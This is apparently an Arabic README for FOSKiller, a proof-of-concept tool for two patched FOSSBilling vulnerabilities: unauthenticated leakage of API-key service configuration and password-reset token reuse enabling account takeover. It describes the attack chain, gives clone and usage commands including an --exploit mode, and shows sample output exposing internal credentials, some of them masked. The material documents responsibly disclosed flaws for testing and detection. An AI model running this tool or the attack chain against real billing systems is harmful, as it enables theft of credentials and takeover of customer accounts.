
FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC — كشف مفتاح API بدون مصادقة وإعادة استخدام رمز إعادة تعيين كلمة المرور
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
صنع بواسطة 7megaumka7
أداة إثبات مفهوم (PoC) لثغريتين أمنيتين مقبولتين في GitHub Security Advisory في FOSSBilling الإصدار 0.7.2 فأقل
FOSKiller هي أداة إثبات مفهوم توضح ثغريتين أمنيتين في FOSSBilling — وهي منصة فوترة وإدارة عملاء مفتوحة المصدر. تم الإفصاح عن كلتا الثغرتين بشكل مسؤول من خلال برنامج GitHub Security Advisory وتم تصحيحهما بالكامل في FOSSBilling 0.7.3+.
الأداة مخصصة لـ:
| الاستشارة | CVE | النوع | CVSS | المتأثر |
|---|---|---|---|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | كشف تكوين مفتاح API دون مصادقة | 6.9 متوسط | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | إعادة استخدام رمز إعادة تعيين كلمة المرور → الاستيلاء على الحساب | 7.7 مرتفع | >= 0.5.6, <= 0.7.2 |
يعيد نقطة النهاية /api/guest/serviceapikey/get_info الخاصة بالضيف تكوين الخدمة بالكامل — بما في ذلك الحقول custom_* وبيانات اعتماد API وأسماء المضيفين وكلمات المرور — دون الحاجة إلى أي مصادقة. يمكن للمهاجم الذي يعرف أو يكتشف مفتاح API صالح استرداد تكوين الخدمة الخلفي بالكامل من نقطة نهاية عامة.
التأثير: الكشف عن بيانات اعتماد الخدمة وأسماء المضيفين الداخلية وأسرار API.
عندما يطلب عميل عمليتي إعادة تعيين كلمة مرور متتاليتين لنفس الحساب، يصدر التطبيق رمزًا جديدًا ولكنه لا يبطل الرمز السابق. يمكن للمهاجم الذي التقط الرمز الأول سابقًا استخدامه لتعيين كلمة مرور جديدة حتى بعد أن يكمل المستخدم الشرعي عملية إعادة التعيين الخاصة به.
سلسلة الهجوم:
1. المهاجم يرسل POST /api/guest/client/reset_password → يلتقط الرمز T1
2. الضحية يبدأ إعادة تعيين خاصة به → يصدر التطبيق T2، يظل T1 صالحًا
3. المهاجم يرسل POST /api/guest/client/update_password?hash=T1 مع كلمة مرور يختارها
4. يحصل المهاجم على وصول دائم بغض النظر عن إتمام الضحية لإعادة التعيين
التأثير: استيلاء دائم على حساب أي عميل يمكن اعتراض بريده الإلكتروني لإعادة التعيين.
إذا كانت التبعيات مفقودة، يكتشف البرنامج النصي ذلك عند التشغيل ويعرض تثبيتها تلقائيًا.
الاستنساخ وتثبيت التبعيات:
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
أو التشغيل دون تثبيت مسبق — سيطالب البرنامج النصي بتثبيت الحزم المفقودة عند التشغيل الأول.
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
| الخيار | مطلوب | الوصف |
|---|---|---|
--target URL | نعم | عنوان URL الأساسي لتثبيت FOSSBilling |
--key KEY | لـ CVE-2026-53647 | مفتاح API للاختبار |
--email EMAIL | لـ CVE-2026-53646 | البريد الإلكتروني للعميل للاختبار |
--check-only | لا | وضع الكشف — تأكيد الثغرة دون استخراج البيانات |
--exploit | لا | استخراج كامل + توثيق سلسلة الهجوم |
--force | لا | تخطي فحص نطاق الإصدار |
--output FILE | لا | حفظ النتائج الكاملة في ملف JSON |
--timeout SEC | لا | مهلة HTTP بالثواني (افتراضي: 10) |
--proxy URL | لا | وكيل HTTP (مثال: http://127.0.0.1:8080) |
--check-only و --exploit متنافيان.
| الوضع | الخيار | ما يفعله |
|---|---|---|
| الكشف | --check-only | يؤكد وجود الثغرة. لا يعرض أو يستخرج القيم الحساسة. |
| افتراضي | (بدون خيار وضع) | يؤكد الحالة ويظهر أدلة أساسية. |
| الاستغلال | --exploit | يستخرج جميع الحقول المسربة؛ يوثق سلسلة الاستيلاء الكاملة على الحساب مع بيانات التوقيت. |
الكشف فقط — تحقق من كلا CVE دون استخراج بيانات:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
الاستخراج الكامل وتوثيق سلسلة الهجوم:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
حفظ النتائج في JSON والتوجيه عبر Burp Suite:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
اختبار إصدار غير معروف أو مصحح بالفعل:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] فحص https://billing.example.com …
[+] تم الكشف عن الإصدار: 0.7.1
[+] CVE-2026-53647 في النطاق المتأثر (>=0.5.3 <=0.7.2): نعم
[+] CVE-2026-53646 في النطاق المتأثر (>=0.5.6 <=0.7.2): نعم
── CVE-2026-53647 │ كشف تكوين مفتاح API دون مصادقة ─────────
[*] الهدف : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] الوضع : استخراج كامل
[*] HTTP : 200
[+] ثغرة موجودة — أعاد نقطة النهاية 4 حقل(حقول) حساسة دون مصادقة
الحقل القيمة
──────────────────────────────────────────────────────────────────────
custom_hostname db.internal.example.com
custom_username fossbilling_db
custom_password [مخفى في هذا المثال]
custom_api_secret [مخفى في هذا المثال]
── CVE-2026-53646 │ إعادة استخدام رمز إعادة تعيين كلمة المرور / الاستيلاء على الحساب ─────
[*] إرسال طلب إعادة تعيين #1 …
[*] HTTP 200 | 142 ms | 2026-06-12T10:00:00.000Z
[*] إرسال طلب إعادة تعيين #2 (نفس البريد الإلكتروني) …
[*] HTTP 200 | 138 ms | 2026-06-12T10:00:01.000Z
[*] فارق الوقت بين الطلبات : 0.643s
[!] نجح كلا طلبي إعادة التعيين — نقطة النهاية تقبل إعادة التعيين المتكررة دون تحديد معدل.
── الملخص ─────────────────────────────────────────────────────────────